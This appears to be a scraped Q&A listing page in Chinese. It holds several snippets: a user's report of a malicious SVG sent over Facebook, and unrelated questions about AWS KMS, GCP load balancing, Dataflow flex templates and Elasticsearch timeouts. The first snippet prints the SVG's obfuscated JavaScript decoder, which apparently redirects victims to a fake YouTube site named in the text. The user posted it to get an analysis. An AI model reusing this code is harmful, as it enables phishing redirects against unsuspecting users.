我收到了两个文件(SVG图片)的facebook消息,我点击其中一个(我不知道为什么:().然后打开红点的新标签,然后我立即被重定向到一些假装看起来像Youtube的网站(http://kerman.pw/?fb_dsa).
然后我使用"保存链接为..."功能下载了.svg文件.看来这是一些嵌入svg的javascript代码,所以我在这里发帖(我不太清楚JS):
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<circle cx="250" cy="250" r="50" fill="red" />
<script type="text/javascript"><![CDATA[
function xcxxy(gyqbv,hzrgh,ktjrf){
var qixua = "XY_/3cU.ioGJkP2hgveS1Tj75ABb=Nrs:u?fKmdI0nLty84CRpVOzaFD9lZExMH6";
var vyqsvo = ["rYf=3vXU:zitl17N.k24ah8ZO6KoDFjPMEceRmsTGbdVBH59uJS\/I0g_CL?pxAyn","RN?dh38MCU0o6u=tIXPp.nZJzc5D:TiLFOvYfjG4E2K1A_rgaHykbS\/9lB7sexVm","n4mAObK9zBt_YZrcE1JHM.SF=dRT:6aDeUuIPi2vfhkGXp?y5LgVoCj0873lxN\/s","C981S?moMiHktu:nev0ZBzVh.2FONIcbxf7GYL6RgpUTAP4j_DJl\/dKa35rsX=Ey","9n?SGiTY6z8BjCbM:Lpsr0xZeUvPaH.JmfudtlE1\/y=kFODRKN24c5oX37_hAIVg",":z2oNO?Tr=aIx8.6gVeRn4_vYE5f1mZAXKltbuU7ByDSMis0Fk\/Pjch3CGLHJd9p"];
var bnkdip = "";
var igrqm = 0;
while(vyqsvo[igrqm]){
igrqm++;
}
var kwwtmh = 0;
while(gyqbv[kwwtmh]){
var jikaig = 0;
var axfnq = -1;
while(qixua[jikaig]){
if(qixua[jikaig] == gyqbv[kwwtmh]){
axfnq = jikaig;
break;
}
jikaig++;
}
if(axfnq >= 0){
var abxnk = 0;
var wjtfca = -1;
while(vyqsvo[kwwtmh%igrqm][abxnk]){
if(vyqsvo[kwwtmh%igrqm][abxnk] …Run Code Online (Sandbox Code Playgroud) 我将从第三方导入一些数据。他们要求我提供他们用来加密数据的 PGP 公钥。我不想在我的计算机上生成密钥对,因此我正在寻找托管解决方案,并想知道我们是否可以使用 AWS KMS(我们已经使用 AWS 服务作为基础设施)。
是否可以使用 KMS 来实现这一点?如果不是,在 AWS 上实现这一目标的好方法是什么?
我正在使用 Google Cloud Storage 和 Loadbalancer 设置 React 应用程序前端。在构建过程中,index.html 和 javascript 文件被上传到云存储中。负载均衡器指向后端存储桶。如果我转到 http://(loadbalancerip)/index.html,我现在可以访问 React 应用程序
我想做出反应来处理所有路由,并且我还希望我们的用户通过任意路径访问站点(例如http://(loadbalancerip)/user/details)。有没有办法使用 GCP 负载均衡器来实现这一目标?基本上我希望它始终提供“index.html”,无论用户访问的路径如何。
我正在尝试使用 flex 模板运行我的 python 数据流作业。当我使用直接运行器(没有 flex 模板)运行时,作业在本地运行良好,但是当我尝试使用 flex 模板运行它时,作业卡在“排队”状态一段时间,然后因超时而失败。
这是我在 GCE 控制台中找到的一些日志:
INFO:apache_beam.runners.portability.stager:Executing command: ['/usr/local/bin/python', '-m', 'pip', 'download', '--dest', '/tmp/dataflow-requirements-cache', '-r', '/dataflow/template/requirements.txt', '--exists-action', 'i', '--no-binary', ':all:'
Shutting down the GCE instance, launcher-202011121540156428385273524285797, used for launching.
Timeout in polling result file: gs://my_bucket/staging/template_launches/2020-11-12_15_40_15-6428385273524285797/operation_result.
Possible causes are:
1. Your launch takes too long time to finish. Please check the logs on stackdriver.
2. Service my_service_account@developer.gserviceaccount.com may not have enough permissions to pull container image gcr.io/indigo-computer-272415/samples/dataflow/streaming-beam-py:latest or create new objects in gs://my_bucket/staging/template_launches/2020-11-12_15_40_15-6428385273524285797/operation_result.
3. Transient …Run Code Online (Sandbox Code Playgroud) google-cloud-platform google-cloud-dataflow apache-beam data-pipeline
我们在 Elastic Cloud 上托管 elatsicsearch 集群并从数据流 (GCP) 调用它。工作在开发中运行良好,但当我们部署到产品时,我们在客户端看到大量连接超时。
Traceback (most recent call last):
File "apache_beam/runners/common.py", line 1213, in apache_beam.runners.common.DoFnRunner.process
File "apache_beam/runners/common.py", line 570, in apache_beam.runners.common.SimpleInvoker.invoke_process
File "main.py", line 159, in process
File "/usr/local/lib/python3.7/site-packages/elasticsearch/client/utils.py", line 152, in _wrapped
return func(*args, params=params, headers=headers, **kwargs)
File "/usr/local/lib/python3.7/site-packages/elasticsearch/client/__init__.py", line 1617, in search
body=body,
File "/usr/local/lib/python3.7/site-packages/elasticsearch/transport.py", line 390, in perform_request
raise e
File "/usr/local/lib/python3.7/site-packages/elasticsearch/transport.py", line 365, in perform_request
timeout=timeout,
File "/usr/local/lib/python3.7/site-packages/elasticsearch/connection/http_urllib3.py", line 258, in perform_request
raise ConnectionError("N/A", str(e), e)
elasticsearch.exceptions.ConnectionError: ConnectionError(<urllib3.connection.HTTPSConnection object at 0x7fe5d04e5690>: Failed …Run Code Online (Sandbox Code Playgroud) python elasticsearch google-cloud-platform google-cloud-dataflow apache-beam